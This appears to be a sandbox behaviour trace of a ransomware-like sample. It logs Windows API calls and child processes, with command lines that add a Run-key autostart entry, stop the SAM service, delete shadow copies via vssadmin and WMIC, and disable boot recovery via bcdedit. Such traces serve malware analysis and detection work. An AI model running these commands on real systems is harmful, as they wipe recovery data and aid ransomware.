	[0203.912] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18
	[0203.912] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20
	[0203.912] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20
	[0203.912] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20
	[0203.912] GetProcessHeap () returned 0x50000
	[0203.912] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x64780 | out: hHeap=0x50000) returned 1
	[0203.912] GetProcessHeap () returned 0x50000
	[0203.912] RtlAllocateHeap (HeapHandle=0x50000, Flags=0x8, Size=0x12) returned 0x6c2d0
	[0203.913] lstrcmpW (lpString1="\\reg.exe", lpString2="\\XCOPY.EXE") returned -1
	[0203.916] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\reg.exe", lpCommandLine="REG  ADD \"HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" /v \"EV\" /t REG_SZ /d \"￾￾C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CusersPublicDHrQU.exe\" /f /reg:64", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x30f0b0*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="REG  ADD \"HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" /v \"EV\" /t REG_SZ /d \"￾￾C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CusersPublicDHrQU.exe\" /f /reg:64", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x30f060 | out: lpCommandLine="REG  ADD \"HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" /v \"EV\" /t REG_SZ /d \"￾￾C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CusersPublicDHrQU.exe\" /f /reg:64", lpProcessInformation=0x30f060*(hProcess=0x54, hThread=0x50, dwProcessId=0x211c, dwThreadId=0x2120)) returned 1
	[0204.409] CloseHandle (hObject=0x50) returned 1
	[0204.409] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1
	[0204.409] GetProcessHeap () returned 0x50000
	[0204.409] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6ae20 | out: hHeap=0x50000) returned 1
	[0204.409] GetEnvironmentStringsW () returned 0x6ae20*
	[0204.409] GetProcessHeap () returned 0x50000
	[0204.410] RtlAllocateHeap (HeapHandle=0x50000, Flags=0x8, Size=0xae8) returned 0x68c50
	[0204.410] FreeEnvironmentStringsW (penv=0x6ae20) returned 1
	[0204.410] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0
	[0206.622] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x30efa8 | out: lpExitCode=0x30efa8*=0x0) returned 1
	[0206.623] CloseHandle (hObject=0x54) returned 1
	[0206.623] _vsnwprintf (in: _Buffer=0x30f218, _BufferCount=0x13, _Format="%08X", _ArgList=0x30efb8 | out: _Buffer="00000000") returned 8
	[0206.623] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1
	[0206.623] GetProcessHeap () returned 0x50000
	[0206.623] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x68c50 | out: hHeap=0x50000) returned 1
	[0206.623] GetEnvironmentStringsW () returned 0x68c50*
	[0206.623] GetProcessHeap () returned 0x50000
	[0206.623] RtlAllocateHeap (HeapHandle=0x50000, Flags=0x8, Size=0xb0e) returned 0x6f970
	[0206.623] FreeEnvironmentStringsW (penv=0x68c50) returned 1
	[0206.623] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1
	[0206.623] GetProcessHeap () returned 0x50000
	[0206.624] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6f970 | out: hHeap=0x50000) returned 1
	[0206.624] GetEnvironmentStringsW () returned 0x68c50*
	[0206.624] GetProcessHeap () returned 0x50000
	[0206.624] RtlAllocateHeap (HeapHandle=0x50000, Flags=0x8, Size=0xb0e) returned 0x6f970
	[0206.624] FreeEnvironmentStringsW (penv=0x68c50) returned 1
	[0206.624] GetProcessHeap () returned 0x50000
	[0206.624] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6c2d0 | out: hHeap=0x50000) returned 1
	[0206.624] DeleteProcThreadAttributeList (in: lpAttributeList=0x30f078 | out: lpAttributeList=0x30f078) 
	[0206.624] _get_osfhandle (_FileHandle=1) returned 0x7
	[0206.624] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1
	[0206.625] _get_osfhandle (_FileHandle=1) returned 0x7
	[0206.625] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a03e194 | out: lpMode=0x4a03e194) returned 1
	[0206.626] _get_osfhandle (_FileHandle=0) returned 0x3
	[0206.626] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a03e198 | out: lpMode=0x4a03e198) returned 1
	[0206.627] SetConsoleInputExeNameW () returned 0x1
	[0206.627] GetConsoleOutputCP () returned 0x1b5
	[0206.627] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a04bfe0 | out: lpCPInfo=0x4a04bfe0) returned 1
	[0206.627] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409
	[0206.628] exit (_Code=0) 

Process:
	id = "54"
	image_name = "net.exe"
	filename = "c:\\windows\\system32\\net.exe"
	page_root = "0x1798e000"
	os_pid = "0x1d04"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "1"
	os_parent_pid = "0xb98"
	cmd_line = "\"C:\\Windows\\System32\\net.exe\" stop \"samss\" /y"
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 1491
	os_tid = 0x1d08


Process:
	id = "55"
	image_name = "vssadmin.exe"
	filename = "c:\\windows\\system32\\vssadmin.exe"
	page_root = "0x16578000"
	os_pid = "0x1d80"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "49"
	os_parent_pid = "0x167c"
	cmd_line = "vssadmin.exe  Delete Shadows /all /quiet"
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 1517
	os_tid = 0x1d84


Thread:
	id = 1628
	os_tid = 0x1f5c


Thread:
	id = 1674
	os_tid = 0x16a0


Thread:
	id = 1748
	os_tid = 0x2128


Thread:
	id = 1749
	os_tid = 0x212c


Process:
	id = "56"
	image_name = "bcdedit.exe"
	filename = "c:\\windows\\system32\\bcdedit.exe"
	page_root = "0x163bc000"
	os_pid = "0x1d94"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "50"
	os_parent_pid = "0x1694"
	cmd_line = "bcdedit  /set {default} recoveryenabled No "
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 1518
	os_tid = 0x1d98


Process:
	id = "57"
	image_name = "wmic.exe"
	filename = "c:\\windows\\system32\\wbem\\wmic.exe"
	page_root = "0x27a37000"
	os_pid = "0x1dc8"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "48"
	os_parent_pid = "0x1674"
	cmd_line = "WMIC.exe  shadowcopy delete"
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 1530
	os_tid = 0x1dcc

	[0200.096] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18fb10 | out: lpSystemTimeAsFileTime=0x18fb10*(dwLowDateTime=0x47638d10, dwHighDateTime=0x1d5cdef)) 
	[0200.096] GetCurrentProcessId () returned 0x1dc8
	[0200.096] GetCurrentThreadId () returned 0x1dcc
	[0200.096] GetTickCount () returned 0x1177974
	[0200.096] QueryPerformanceCounter (in: lpPerformanceCount=0x18fb18 | out: lpPerformanceCount=0x18fb18*=34184892135) returned 1
	[0200.097] GetModuleHandleW (lpModuleName=0x0) returned 0xff7e0000
	[0200.097] __set_app_type (_Type=0x1) 
	[0200.097] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff82ced0) returned 0x0
	[0200.098] __wgetmainargs (in: _Argc=0xff852380, _Argv=0xff852390, _Env=0xff852388, _DoWildCard=0, _StartInfo=0xff85239c | out: _Argc=0xff852380, _Argv=0xff852390, _Env=0xff852388) returned 0
	[0200.099] ??0CHString@@QEAA@XZ () returned 0xff852ab0
	[0200.099] malloc (_Size=0x30) returned 0x245a50
	[0200.099] malloc (_Size=0x70) returned 0x245a90
	[0200.100] malloc (_Size=0x50) returned 0x247ac0
	[0200.100] malloc (_Size=0x30) returned 0x247b20
	[0200.100] malloc (_Size=0x48) returned 0x247b60
	[0200.100] malloc (_Size=0x30) returned 0x247bb0
	[0200.100] malloc (_Size=0x30) returned 0x247bf0
	[0200.100] ??0CHString@@QEAA@XZ () returned 0xff852f58
	[0200.100] malloc (_Size=0x30) returned 0x247c30
	[0200.100] ?Empty@CHString@@QEAAXXZ () returned 0x7fef337482c
	[0200.100] SetConsoleCtrlHandler (HandlerRoutine=0xff825724, Add=1) returned 1
	[0200.101] _onexit (_Func=0xff83f378) returned 0xff83f378
	[0200.101] _onexit (_Func=0xff83f490) returned 0xff83f490
	[0200.101] _onexit (_Func=0xff83f4d0) returned 0xff83f4d0
	[0200.102] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0200.102] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
	[0200.113] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0
	[0202.439] CoCreateInstance (in: rclsid=0xff7e73a0*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0xff7e7370*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0xff852940 | out: ppv=0xff852940*=0x1e91390) returned 0x0
	[0203.004] GetCurrentProcess () returned 0xffffffffffffffff
	[0203.004] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x28, TokenHandle=0x18f8e0 | out: TokenHandle=0x18f8e0*=0xf4) returned 1
	[0203.004] GetTokenInformation (in: TokenHandle=0xf4, TokenInformationClass=0x3, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x18f8d8 | out: TokenInformation=0x0, ReturnLength=0x18f8d8) returned 0
	[0203.004] malloc (_Size=0x118) returned 0x246400
	[0203.005] GetTokenInformation (in: TokenHandle=0xf4, TokenInformationClass=0x3, TokenInformation=0x246400, TokenInformationLength=0x118, ReturnLength=0x18f8d8 | out: TokenInformation=0x246400, ReturnLength=0x18f8d8) returned 1
	[0203.005] AdjustTokenPrivileges (in: TokenHandle=0xf4, DisableAllPrivileges=0, NewState=0x246400*(PrivilegesCount=0x17, Privileges=((Luid.LowPart=0x5, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0x9), (Luid.LowPart=0x2, Luid.HighPart=10, Attributes=0x0), (Luid.LowPart=0xb, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0xd), (Luid.LowPart=0x2, Luid.HighPart=14, Attributes=0x0), (Luid.LowPart=0xf, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0x12), (Luid.LowPart=0x2, Luid.HighPart=19, Attributes=0x0), (Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0x17), (Luid.LowPart=0x3, Luid.HighPart=24, Attributes=0x0), (Luid.LowPart=0x19, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0x1d), (Luid.LowPart=0x3, Luid.HighPart=30, Attributes=0x0), (Luid.LowPart=0x21, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0x23), (Luid.LowPart=0x2, Luid.HighPart=-1930263146, Attributes=0x1fce), (Luid.LowPart=0x0, Luid.HighPart=2391968, Attributes=0x0), (Luid.LowPart=0x6d0061, Luid.HighPart=4587552, Attributes=0x6c0069), (Luid.LowPart=0x43005c, Luid.HighPart=7143535, Attributes=0x6f006d), (Luid.LowPart=0x690046, Luid.HighPart=6619244, Attributes=0x73), (Luid.LowPart=0x6d006d, Luid.HighPart=7209071, Attributes=0x720050))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1
	[0203.005] free (_Block=0x246400) 
	[0203.005] CloseHandle (hObject=0xf4) returned 1
	[0203.006] malloc (_Size=0x40) returned 0x246400
	[0203.006] malloc (_Size=0x40) returned 0x246450
	[0203.006] malloc (_Size=0x40) returned 0x2464a0
	[0203.006] malloc (_Size=0x20a) returned 0x2464f0
	[0203.007] GetSystemDirectoryW (in: lpBuffer=0x2464f0, uSize=0x105 | out: lpBuffer="C:\\Windows\\system32") returned 0x13
	[0203.007] free (_Block=0x2464f0) 
	[0203.007] malloc (_Size=0x18) returned 0x36dfb0
	[0203.008] malloc (_Size=0x18) returned 0x247fa0
	[0203.008] malloc (_Size=0x18) returned 0x2464f0
	[0203.008] SysStringLen (param_1="C:\\Windows\\system32") returned 0x13
	[0203.008] SysStringLen (param_1="\\kernel32.dll") returned 0xd
	[0203.009] free (_Block=0x36dfb0) 
	[0203.009] free (_Block=0x247fa0) 
	[0203.009] LoadLibraryW (lpLibFileName="C:\\Windows\\system32\\kernel32.dll") returned 0x76f20000
	[0203.010] GetProcAddress (hModule=0x76f20000, lpProcName="SetThreadUILanguage") returned 0x76f36d40
	[0203.010] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409
	[0203.012] FreeLibrary (hLibModule=0x76f20000) returned 1
	[0203.012] free (_Block=0x2464f0) 
	[0203.013] _vsnwprintf (in: _Buffer=0x2464a0, _BufferCount=0x1f, _Format="ms_%x", _ArgList=0x18f508 | out: _Buffer="ms_409") returned 6
	[0203.013] malloc (_Size=0x20) returned 0x247fa0
	[0203.013] GetComputerNameW (in: lpBuffer=0x247fa0, nSize=0x18f8e0 | out: lpBuffer="XDUWTFONO", nSize=0x18f8e0) returned 1
	[0203.014] lstrlenW (lpString="XDUWTFONO") returned 9
	[0203.014] malloc (_Size=0x14) returned 0x36dfb0
	[0203.014] lstrlenW (lpString="XDUWTFONO") returned 9
	[0203.015] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x0, nSize=0x18f8d8 | out: lpNameBuffer=0x0, nSize=0x18f8d8) returned 0x7fffffde000
	[0203.017] GetLastError () returned 0xea
	[0203.017] malloc (_Size=0x40) returned 0x2464f0
	[0203.017] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x2464f0, nSize=0x18f8d8 | out: lpNameBuffer="XDUWTFONO\\5p5NrGJn0jS HALPmcxz", nSize=0x18f8d8) returned 0x1
	[0203.018] lstrlenW (lpString="") returned 0
	[0203.018] lstrlenW (lpString="XDUWTFONO") returned 9
	[0203.019] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="XDUWTFONO", cchCount1=9, lpString2="", cchCount2=0) returned 3
	[0203.024] lstrlenW (lpString=".") returned 1
	[0203.024] lstrlenW (lpString="XDUWTFONO") returned 9
	[0203.025] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="XDUWTFONO", cchCount1=9, lpString2=".", cchCount2=1) returned 3
	[0203.025] lstrlenW (lpString="LOCALHOST") returned 9
	[0203.025] lstrlenW (lpString="XDUWTFONO") returned 9
	[0203.025] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="XDUWTFONO", cchCount1=9, lpString2="LOCALHOST", cchCount2=9) returned 3
	[0203.025] lstrlenW (lpString="XDUWTFONO") returned 9
	[0203.025] lstrlenW (lpString="XDUWTFONO") returned 9
	[0203.025] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="XDUWTFONO", cchCount1=9, lpString2="XDUWTFONO", cchCount2=9) returned 2
	[0203.026] free (_Block=0x36dfb0) 
	[0203.026] lstrlenW (lpString="XDUWTFONO") returned 9
	[0203.026] malloc (_Size=0x14) returned 0x36dfb0
	[0203.026] lstrlenW (lpString="XDUWTFONO") returned 9
	[0203.026] lstrlenW (lpString="XDUWTFONO") returned 9
	[0203.026] malloc (_Size=0x14) returned 0x246540
	[0203.026] lstrlenW (lpString="XDUWTFONO") returned 9
	[0203.026] malloc (_Size=0x8) returned 0x246560
	[0203.027] malloc (_Size=0x18) returned 0x246580
	[0203.027] malloc (_Size=0x30) returned 0x2465a0
	[0203.027] malloc (_Size=0x18) returned 0x2465e0
	[0203.027] SysStringLen (param_1="IDENTIFY") returned 0x8
	[0203.027] SysStringLen (param_1="ANONYMOUS") returned 0x9
	[0203.027] SysStringLen (param_1="ANONYMOUS") returned 0x9
	[0203.028] SysStringLen (param_1="IDENTIFY") returned 0x8
	[0203.028] malloc (_Size=0x30) returned 0x246600
	[0203.028] malloc (_Size=0x18) returned 0x246640
	[0203.028] SysStringLen (param_1="IMPERSONATE") returned 0xb
	[0203.028] SysStringLen (param_1="ANONYMOUS") returned 0x9
	[0203.028] SysStringLen (param_1="IMPERSONATE") returned 0xb
	[0203.028] SysStringLen (param_1="IDENTIFY") returned 0x8
	[0203.028] SysStringLen (param_1="IDENTIFY") returned 0x8
	[0203.028] SysStringLen (param_1="IMPERSONATE") returned 0xb
	[0203.028] malloc (_Size=0x30) returned 0x246660
	[0203.028] malloc (_Size=0x18) returned 0x2466a0
	[0203.029] SysStringLen (param_1="DELEGATE") returned 0x8
	[0203.029] SysStringLen (param_1="IDENTIFY") returned 0x8
	[0203.029] SysStringLen (param_1="DELEGATE") returned 0x8
	[0203.029] SysStringLen (param_1="ANONYMOUS") returned 0x9
	[0203.029] SysStringLen (param_1="ANONYMOUS") returned 0x9
	[0203.029] SysStringLen (param_1="DELEGATE") returned 0x8
	[0203.029] malloc (_Size=0x30) returned 0x2466c0
	[0203.029] malloc (_Size=0x18) returned 0x246700
	[0203.029] malloc (_Size=0x30) returned 0x246720
	[0203.030] malloc (_Size=0x18) returned 0x246760
	[0203.030] SysStringLen (param_1="NONE") returned 0x4
	[0203.030] SysStringLen (param_1="DEFAULT") returned 0x7
	[0203.030] SysStringLen (param_1="DEFAULT") returned 0x7
	[0203.030] SysStringLen (param_1="NONE") returned 0x4
	[0203.030] malloc (_Size=0x30) returned 0x246780
	[0203.030] malloc (_Size=0x18) returned 0x2467c0
	[0203.030] SysStringLen (param_1="CONNECT") returned 0x7
	[0203.030] SysStringLen (param_1="DEFAULT") returned 0x7
	[0203.031] malloc (_Size=0x30) returned 0x2467e0
	[0203.031] malloc (_Size=0x18) returned 0x246820
	[0203.031] SysStringLen (param_1="CALL") returned 0x4
	[0203.031] SysStringLen (param_1="DEFAULT") returned 0x7
	[0203.031] SysStringLen (param_1="CALL") returned 0x4
	[0203.031] SysStringLen (param_1="CONNECT") returned 0x7
	[0203.031] malloc (_Size=0x30) returned 0x246840
	[0203.031] malloc (_Size=0x18) returned 0x246880
	[0203.031] SysStringLen (param_1="PKT") returned 0x3
	[0203.032] SysStringLen (param_1="DEFAULT") returned 0x7
	[0203.032] SysStringLen (param_1="PKT") returned 0x3
	[0203.032] SysStringLen (param_1="NONE") returned 0x4
	[0203.032] SysStringLen (param_1="NONE") returned 0x4
	[0203.032] SysStringLen (param_1="PKT") returned 0x3
	[0203.032] malloc (_Size=0x30) returned 0x2468a0
	[0203.032] malloc (_Size=0x18) returned 0x2468e0
	[0203.032] SysStringLen (param_1="PKTINTEGRITY") returned 0xc
	[0203.032] SysStringLen (param_1="DEFAULT") returned 0x7
	[0203.033] SysStringLen (param_1="PKTINTEGRITY") returned 0xc
	[0203.033] SysStringLen (param_1="NONE") returned 0x4
	[0203.033] SysStringLen (param_1="PKTINTEGRITY") returned 0xc
	[0203.033] SysStringLen (param_1="PKT") returned 0x3
	[0203.033] SysStringLen (param_1="PKT") returned 0x3
	[0203.033] SysStringLen (param_1="PKTINTEGRITY") returned 0xc
	[0203.033] malloc (_Size=0x30) returned 0x248000
	[0203.647] malloc (_Size=0x18) returned 0x246d00
	[0203.647] SysStringLen (param_1="PKTPRIVACY") returned 0xa
	[0203.647] SysStringLen (param_1="DEFAULT") returned 0x7
	[0203.648] SysStringLen (param_1="PKTPRIVACY") returned 0xa
	[0203.648] SysStringLen (param_1="PKT") returned 0x3
	[0203.648] SysStringLen (param_1="PKTPRIVACY") returned 0xa
	[0203.648] SysStringLen (param_1="PKTINTEGRITY") returned 0xc
	[0203.648] SysStringLen (param_1="PKTINTEGRITY") returned 0xc
	[0203.648] SysStringLen (param_1="PKTPRIVACY") returned 0xa
	[0203.648] malloc (_Size=0x30) returned 0x248040
	[0203.648] malloc (_Size=0x40) returned 0x246d20
	[0203.649] malloc (_Size=0x20a) returned 0x248fd0
	[0203.649] GetSystemDirectoryW (in: lpBuffer=0x248fd0, uSize=0x105 | out: lpBuffer="C:\\Windows\\system32") returned 0x13
	[0203.656] free (_Block=0x248fd0) 
	[0203.656] malloc (_Size=0x18) returned 0x246d70
	[0203.656] malloc (_Size=0x18) returned 0x246d90
	[0203.657] malloc (_Size=0x18) returned 0x246db0
	[0203.657] SysStringLen (param_1="C:\\Windows\\system32") returned 0x13
	[0203.657] SysStringLen (param_1="\\wbem\\") returned 0x6
	[0203.658] free (_Block=0x246d70) 
	[0203.658] free (_Block=0x246d90) 
	[0203.659] SysStringByteLen (bstr="C:\\Windows\\system32\\wbem\\") returned 0x32
	[0203.659] free (_Block=0x246db0) 
	[0203.659] malloc (_Size=0x18) returned 0x249000
	[0203.659] malloc (_Size=0x18) returned 0x249020
	[0203.659] malloc (_Size=0x18) returned 0x249040
	[0203.660] SysStringLen (param_1="C:\\Windows\\system32\\wbem\\") returned 0x19
	[0203.660] SysStringLen (param_1="XSL-Mappings.xml") returned 0x10
	[0203.660] free (_Block=0x249000) 
	[0203.660] free (_Block=0x249020) 
	[0203.660] GetCurrentThreadId () returned 0x1dcc
	[0203.661] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\Wbem\\CIMOM", ulOptions=0x0, samDesired=0x1, phkResult=0x18f1e0 | out: phkResult=0x18f1e0*=0xf8) returned 0x0
	[0203.662] RegQueryValueExW (in: hKey=0xf8, lpValueName="Logging", lpReserved=0x0, lpType=0x0, lpData=0x18f230, lpcbData=0x18f1d0*=0x400 | out: lpType=0x0, lpData=0x18f230*=0x30, lpcbData=0x18f1d0*=0x4) returned 0x0
	[0203.662] _wcsicmp (_String1="0", _String2="1") returned -1
	[0203.662] _wcsicmp (_String1="0", _String2="2") returned -2
	[0203.662] RegQueryValueExW (in: hKey=0xf8, lpValueName="Logging Directory", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x18f1d0*=0x4 | out: lpType=0x0, lpData=0x0, lpcbData=0x18f1d0*=0x42) returned 0x0
	[0203.662] malloc (_Size=0x86) returned 0x246d70
	[0203.662] RegQueryValueExW (in: hKey=0xf8, lpValueName="Logging Directory", lpReserved=0x0, lpType=0x0, lpData=0x246d70, lpcbData=0x18f1d0*=0x42 | out: lpType=0x0, lpData=0x246d70*=0x25, lpcbData=0x18f1d0*=0x42) returned 0x0
	[0203.662] lstrlenW (lpString="%systemroot%\\system32\\wbem\\Logs\\") returned 32
	[0203.662] malloc (_Size=0x42) returned 0x246e00
	[0203.663] lstrlenW (lpString="%systemroot%\\system32\\wbem\\Logs\\") returned 32
	[0203.663] RegQueryValueExW (in: hKey=0xf8, lpValueName="Log File Max Size", lpReserved=0x0, lpType=0x0, lpData=0x18f230, lpcbData=0x18f1d0*=0x400 | out: lpType=0x0, lpData=0x18f230*=0x36, lpcbData=0x18f1d0*=0xc) returned 0x0
	[0203.663] _wtol (_String="65536") returned 65536
	[0203.663] free (_Block=0x246d70) 
	[0203.663] RegCloseKey (hKey=0x0) returned 0x6
	[0203.663] CoCreateInstance (in: rclsid=0xff7e7410*(Data1=0xf6d90f12, Data2=0x9c73, Data3=0x11d3, Data4=([0]=0xb3, [1]=0x2e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0xb, [7]=0xb4)), pUnkOuter=0x0, dwClsContext=0x1, riid=0xff7e73f0*(Data1=0x2933bf95, Data2=0x7b36, Data3=0x11d2, Data4=([0]=0xb2, [1]=0xe, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x98, [6]=0x3e, [7]=0x60)), ppv=0x18f6d8 | out: ppv=0x18f6d8*=0x1d171d0) returned 0x0
	[0204.055] FreeThreadedDOMDocument:IXMLDOMDocument:load (in: This=0x1d171d0, xmlSource=0x18f820*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="C:\\Windows\\system32\\wbem\\XSL-Mappings.xml", varVal2=0x246d70), isSuccessful=0x18f890 | out: isSuccessful=0x18f890*=0xffff) returned 0x0
	[0208.868] FreeThreadedDOMDocument:IXMLDOMDocument:get_documentElement (in: This=0x1d171d0, DOMElement=0x18f6d0 | out: DOMElement=0x18f6d0*=0x1d1bc50) returned 0x0
	[0208.869] malloc (_Size=0x18) returned 0x249020
	[0208.869] IXMLDOMElement:getElementsByTagName (in: This=0x1d1bc50, tagName="XSLFORMAT", resultList=0x18f6e0 | out: resultList=0x18f6e0*=0x1d19cc0) returned 0x0
	[0208.871] free (_Block=0x249020) 
	[0208.871] IXMLDOMNodeList:get_length (in: This=0x1d19cc0, listLength=0x18f8a8 | out: listLength=0x18f8a8*=21) returned 0x0
	[0208.872] IXMLDOMNodeList:get_item (in: This=0x1d19cc0, index=0, listItem=0x18f6b0 | out: listItem=0x18f6b0*=0x1d1bd50) returned 0x0
	[0208.872] IXMLDOMNode:get_text (in: This=0x1d1bd50, text=0x18f6c0 | out: text=0x18f6c0*="texttable.xsl") returned 0x0
	[0208.872] IXMLDOMNode:get_attributes (in: This=0x1d1bd50, attributeMap=0x18f6b8 | out: attributeMap=0x18f6b8*=0x1d178d0) returned 0x0
	[0208.873] malloc (_Size=0x18) returned 0x249020
